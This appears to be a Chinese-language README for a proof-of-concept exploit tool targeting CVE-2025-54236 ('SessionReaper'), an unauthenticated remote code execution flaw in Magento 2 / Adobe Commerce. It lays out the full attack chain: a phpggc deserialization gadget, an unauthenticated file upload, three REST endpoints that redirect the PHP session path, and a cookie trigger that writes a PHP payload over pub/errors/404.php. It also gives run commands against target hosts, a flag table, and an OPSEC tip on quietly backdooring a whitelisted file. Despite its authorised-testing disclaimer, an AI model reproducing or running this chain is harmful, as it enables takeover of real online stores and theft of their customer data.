
PoC Magento会话收割者 - CVE-2025-54236
针对 CVE-2025-54236("SessionReaper")的统一 PoC,该漏洞是 Magento 2 / Adobe Commerce 中通过 REST API 的嵌套反序列化实现的关键未认证 RCE。
ServiceInputProcessor 中的输入验证不当(CWE-20);利用原语为不安全的反序列化(CWE-502)仅用于授权的安全测试。仅针对您拥有或已获得明确书面许可的系统使用。
该工具将三个在每种向量中通用的阶段与一个触发阶段串联起来:
phpggc -se -a Guzzle/FW1 <remote_path> <payload.php> 构建一个序列化对象,当反序列化时,该对象会将 payload.php 写入 <remote_path>。POST /customer/address_file/upload 将序列化 blob 存储为 sess_<SESSID>。Magento 根据文件名的前几个字符分发上传的地址文件,因此它会落在 media/customer_address/s/e/sess_<SESSID>(因此 --save-path 中包含 s/e/)。Session\Config,并通过 setSavePath() → setOption() → ini_set('session.save_path', ...)(进程全局副作用)将 PHP 的会话处理器指向上传的 blob。Cookie: PHPSESSID=<SESSID> 的请求强制 session_start() 读取并 unserialize() 被污染的恶意文件,触发 gadget 并写入 payload。所有三个向量到达同一个接收点(context → urlBuilder → session → sessionConfig → savePath)。它们仅在端点、HTTP 方法和涉及的 Magento 模块上有所不同——当 WAF 或禁用的模块阻止了一个端点但未阻止另一个时,这非常有用。
| 方法 | 端点 | 动词 | 进入链的入口点 |
|---|---|---|---|
order | /rest/<store>/V1/guest-carts/abc/order | PUT | paymentMethod → paymentData → Payment\Helper\Data |
checkmo | /rest/<store>/V1/guest-carts/abc/set-payment-information | POST | paymentMethod → paymentData → Payment\Helper\Data |
address | /rest/<store>/V1/guest-carts/abc/estimate-shipping-methods | POST | address → addressConfig → addressHelper → Customer\Helper\Address |
任何向量均不需要真实的购物车。 ServiceInputProcessor 在输入解析期间对方法参数进行反序列化——在服务调用任何购物车查找之前——因此一个虚拟的 cartId(如 abc)在所有三个向量中都能到达接收点。后续的 "cart not found" 错误(404/500)是预期行为,并确认反序列化副作用已触发。
可以使用
--sku标志,如果您希望该工具在触发前创建一个真实的访客购物车并添加一个产品(通过 GraphQL 验证)。这是可选的,对利用并非必需——它仅适用于您希望使用完全逼真的结账流程的环境。省略该标志,工具将使用虚拟的abc购物车。
var/session/)。Redis 和数据库支持的会话不受此特定 RCE 链影响。此条件无法远程枚举,因此必须盲测。/customer/address_file/upload 无需认证即可访问。requestsphpggc — 自动在 PATH、常见安装位置中检测,或回退为 ambionics/phpggc Docker 镜像payload.php(必须以 <?php 开头)pip install requests
git clone https://github.com/ambionics/phpggc /opt/phpggc # 或:docker pull ambionics/phpggc
# order(原始向量)— 无需购物车,无需凭证
python3 session_reaper.py --host https://target.com --method order
# checkmo — 支付端点,REST API 的西班牙语商店范围
python3 session_reaper.py --host https://target.com --method checkmo --api-store es
# address — 发货端点
python3 session_reaper.py --host https://target.com --method address --api-store all
# 可选:使用已知 SKU 执行真实购物车流程(非必需)
python3 session_reaper.py --host https://target.com --method address --sku PROD-001
| 标志 | 默认值 | 描述 |
|---|---|---|
--host | (必填) | 目标基础 URL |
--method | (必填) | address | checkmo | order |
--store | default | 触发请求(以及购物车,如果使用 --sku)的商店代码 |
--api-store | default | 反序列化端点 URL 中的商店代码(all | es | default | 自定义) |
--sku | (无) | 可选。 如果设置,将创建包含此 SKU 的真实访客购物车。非必需。 |
--payload-in | payload.php | 要写入目标的 PHP payload |
--payload-out | /var/www/html/pub/errors/404.php | 远程写入路径(必须是 Web 可执行位置——见下方说明) |
--save-path | media/customer_address/s/e/ | 注入到 gadget 链中的 savePath |
--phpggc | (自动检测) | phpggc 二进制文件的显式路径 |
--proxy | http://127.0.0.1:8081 | HTTP 代理(例如 Burp) |
--no-proxy | 关闭 | 禁用代理 |
--username / --password | (无) | 可选的客户凭证,用于 Bearer 令牌 |
该工具使用两个独立的商店代码:
--api-store — 反序列化请求 URL(/rest/<api-store>/V1/guest-carts/...)中的作用域,ServiceInputProcessor 在此运行。--store — 触发请求(GET /<store>/)的作用域,如果使用 --sku,还包括购物车请求的作用域。商店视图代码由管理员定义;不要假设为 es/fr。首先枚举活动的商店视图——针对不存在的作用域的请求只会失败。
pub/errors/404.phpMagento 的默认 Nginx 配置仅将七个 PHP 文件传递给 fastcgi_backend:
index.php, get.php, static.php,
errors/report.php, errors/404.php, errors/503.php, health_check.php
任何其他 .php(包括放入 pub/media/ 的任何文件)都会被拒绝,且永远无法执行。因此,payload 必须覆盖这七个白名单文件之一,而不是丢弃一个新文件。pub/errors/404.php 是默认选择,因为 Magento 在任何缺失页面上内部渲染该文件,因此它在活跃商店中会频繁触发。
OPSEC: 直接覆盖
404.php是显眼的(它在每次 404 时都会运行)。在实际参与中,请巧妙地通过后门进入一个白名单文件,而不是直接覆盖。
--username/--password 仅在您需要为特定设置获取 Bearer 令牌时才需要。/tmp/sess_<SESSID>。仅供授权的安全研究和测试使用。作者不对滥用行为承担任何责任。请勿在未经明确许可的系统上运行。